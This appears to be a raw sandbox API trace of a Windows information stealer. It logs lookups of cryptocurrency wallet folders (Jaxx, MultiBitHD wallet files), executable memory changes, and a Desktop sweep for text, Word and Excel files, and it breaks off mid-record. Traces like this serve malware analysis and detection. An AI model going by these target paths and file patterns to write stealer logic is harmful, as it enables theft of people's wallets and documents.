psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1fcee718*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", len=0x37 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x36 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x36 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", len=0x36 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*") returned 1 [0165.664] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.664] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", len=0x36 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", len=0x36 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", len=0x36 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.664] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.664] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.664] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.665] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\MultiBitHD\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 0x2e [0165.665] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%APPDATA%\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml", cchWideChar=56, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mbhd.wallet.aes,mbhd.checkpoints,mbhd.spvchain,mbhd.yaml", lpUsedDefaultChar=0x0) returned 56 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7e01bc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7e01bc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.665] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.669] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.669] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.669] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.669] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.669] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.669] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*", len=0x2f | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*", len=0x2e | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*", len=0x2e | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*", len=0x2e | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*") returned 1 [0165.670] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.670] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\", len=0x2e | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\", len=0x2e | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\") returned 1 [0165.670] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\", len=0x2e | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\") returned 1 [0165.671] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.671] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.671] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.671] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\", len=0x2d | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MultiBitHD\\") returned 1 [0165.671] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.671] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.671] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e01bc, cbMultiByte=2, lpWideCharStr=0x1e7decb8, cchWideChar=2047 | out: lpWideCharStr="30﷈ṽa") returned 2 [0165.672] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="30", cchWideChar=2, lpMultiByteStr=0x1e7dec94, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30}\x1e\x10", lpUsedDefaultChar=0x0) returned 2 [0165.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=8, lpWideCharStr=0x1e7deca8, cchWideChar=2047 | out: lpWideCharStr="Files\\1\\30﷈ṽa") returned 8 [0165.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcffba4, cbMultiByte=19, lpWideCharStr=0x1e7deca4, cchWideChar=2047 | out: lpWideCharStr="*.txt,*.doc*,*.xls*ῤṽ") returned 19 [0165.672] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcffbf0, cbMultiByte=23, lpWideCharStr=0x1e7deca0, cchWideChar=2047 | out: lpWideCharStr="%USERPROFILE%\\Desktop\\\\ṽ") returned 23 [0165.672] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\Desktop\\\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 0x1c [0165.673] SysReAllocStringLen (in: pbstr=0x1e7dfcb0*="%USERPROFILE%\\Desktop\\\\", psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7dfcb0*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.673] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.txt,*.doc*,*.xls*", cchWideChar=19, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.txt,*.doc*,*.xls*", lpUsedDefaultChar=0x0) returned 19 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7dfa20*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\\\", psz="C:\\Users\\aETAdzjz\\Desktop\\\\", len=0x1b | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfa20*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.673] SysReAllocStringLen (in: pbstr=0x1fcffc5c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1fcffc5c*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\", psz="C:\\Users\\aETAdzjz\\Desktop\\", len=0x1a | out: pbstr=0x1e7dfc9c*="C:\\Users\\aETAdzjz\\Desktop\\") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\*", len=0x1c | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\\\*") returned 1 [0165.674] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\*", len=0x1c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\\\*") returned 1 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\\\*", len=0x1c | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\\\*") returned 1 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\*", len=0x1b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\*") returned 1 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\*", len=0x1b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\*") returned 1 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\*", len=0x1b | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Desktop\\*") returned 1 [0165.675] SysReAllocStringLen (in: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\*", psz="C:\\Users\\aETAdzjz\\Desktop\\*", len=0x1b | out: pbstr=0x1e7dfa1c*="C:\\Users\\aETAdzjz\\Desktop\\*") returned 1 [0165.675] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\*", lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x851aa9e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0x851aa9e0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, 